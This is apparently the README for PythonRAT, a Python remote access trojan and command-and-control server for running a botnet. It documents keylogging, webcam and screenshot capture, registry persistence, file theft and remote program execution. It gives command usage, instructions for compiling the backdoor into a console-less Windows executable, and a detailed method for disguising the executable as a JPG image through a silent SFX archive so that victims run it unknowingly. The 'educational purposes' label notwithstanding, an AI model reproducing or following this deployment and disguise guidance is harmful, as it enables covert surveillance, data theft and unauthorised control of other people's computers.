PythonRAT is a Command and Control (C2) server which can control multiple machines running the Remote Administration Trojan (RAT) forming a botnet cluster which was written in Python3.
PythonRAT was developed for educational purposes and continues to be developed as such!
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Integrated keylogger written as a class
- Can be started and stopped remotely
- With options to dump or overwrite the log file
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Check privilege level (Administrator/User)
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Spawn other programs
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Download files from target
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Download files from specified URL
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Upload files to target
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C2 allows control of multiple target sessions
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Issue a sendall command to every active session
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Persistence by creating a registry entry (Windows)
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Conceals infection by writing files in AppData (Windows)
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Screenshot of the target's screen which is sent to server
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Webcam capture
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Remote shutdown of the backdoor (executable is NOT safely removed)
- Usage Manuals
- Dependencies
- Wine and Pyinstaller (Win version) Installation on Linux
- Backdoor Compilation and Obfuscation for Windows
- Preview Images
targets --> Prints Active Sessions
session *session num* --> Will Connect To Session (background to return)
clear --> Clear Terminal Screen
exit --> Quit ALL Active Sessions and Closes C2 Server!!
kill *session num* --> Issue 'quit' To Specified Target Session
sendall *command* --> Sends The *command* To ALL Active Sessions (sendall notepad)
quit --> Quit Session With The Target
clear --> Clear The Screen
background / bg --> Send Session With Target To Background
cd *Directory name* --> Changes Directory On Target System
upload *file name* --> Upload File To The Target Machine From Working Dir
download *file name* --> Download File From Target Machine
get *url* --> Download File From Specified URL to Target ./
keylog_start --> Start The Keylogger
keylog_dump --> Print Keystrokes That The Target From taskmanager.txt
keylog_stop --> Stop And Self Destruct Keylogger File
screenshot --> Takes screenshot and sends to server ./images/screenshots/
webcam --> Takes image with webcam and sends to ./images/webcam/
start *programName* --> Spawn Program Using backdoor e.g. 'start notepad'
remove_backdoor --> Removes backdoor from target!!!
===Windows Only===
persistence *RegName* *filename* --> Create Persistence In Registry
copies backdoor to ~/AppData/Roaming/filename
example: persistence Backdoor windows32.exe
check --> Check If Has Administrator Privileges
The C2 server has no external dependencies as of v0.9.2-alpha.
The backdoor relies on the following as of v0.10.1-alpha:
pip install mss \
pynput \
requests
- MSS is required for the
screenshot()function. - Pynput is required for the
Keyloggerclass. - Requests is required for the
download_url()function.
The below mentioned steps are for compiling the backdoor for deployment. For those wishing to test the C2 server and backdoor interaction see issue 1.
Python 2.7.14 Releases: https://www.python.org/downloads/release/python-2714/
┌──(root💀kali)-[~/]
└─#
sudo su
dpkg --add-architecture i386
apt update
apt install wine32
wget https://www.python.org/ftp/python/2.7.14/python-2.7.14.msi
sudo wine msiexec -i ~/python-2.7.14.msi #x86 arch
┌──(root💀kali)-[~]
└─#
cd /root/.wine/drive_c/Python27
wine python.exe -m pip install pyinstaller \
requests \
mss \
pynput
$ pyinstaller --onefile --noconsole backdoor.py
or,
┌──(root💀kali)-[~]
└─#
wine /root/.wine/drive_c/Python27/Scripts/pyinstaller.exe --onefile --noconsole ~/backdoor.py
alternatively if an icon has already been created,
wine /root/.wine/drive_c/Python27/Scripts/pyinstaller.exe --onefile --noconsole --icon ~/malware_128x128.ico ~/backdoor.py
This will produce ./dist/backdoor.exe
The executable backdoor.exe will be made to look like an image (jpg) file. By default, Windows does not show file extensions (e.g. backdoor.exe will show in Windows Explorer as backdoor). Hence, we will create an SFX archive name wallpaper.jpg.exe which Windows Explorer will show as wallpaper.jpg.
This will involve having an image which we will also create an icon version of .ico to assign the SFX archive. Making the executable appear to be an image.
Of course, this same method could be applied to audio, document or video file using an appropriate icon.
SFX archive is not the only method of obfuscating the executable. We can when compiling using Pyinstaller add the argument --add-data "/root/wallpaper.jpg;." with --icon ~/wallpaper.ico.
┌──(root💀kali)-[~]
└─#
wine /root/.wine/drive_c/Python27/Scripts/pyinstaller.exe --onefile --noconsole --add-data "/root/wallpaper.jpg;." --icon ~/malware_128x128.ico ~/backdoor.py
mv ./dist/_backdoor.exe_ ./dist/_wallpaper.jpg.exe_
WinRAR > Add To Archive (image.jpg and backdoor.exe)
Rename archive to: image.jpg.exe
-Add to SFX Archive (Y) and Advanced>
**Setup>Run after extraction**
California-HD-Background.jpg
backdoor.exe
**Modes**
Unpack to temporary folder
Silent mode
Hide all
**Update**
Update mode>
Extract and update files
Overwrite mode>
Overwrite all files
**Text and icon**
Load SFX icon from the file (image ICO)
Create_SFXArchive_Instructions.gif.mp4
This will produce an SFX archive which looks like an image
While inspecting the file will reveal it is an executable the file extension .exe is concealed. Furthermore, if viewed from the Desktop the file cannot be differentiated from a 'real' image.
Once opened the SFX archive will open the image file inside the archive and the malware will execute after.
Due to --noconsole argument in Pyinstaller, no window will be rendered.
The backdoor.exe process can be seen in Task Manager and ended there if necessary.
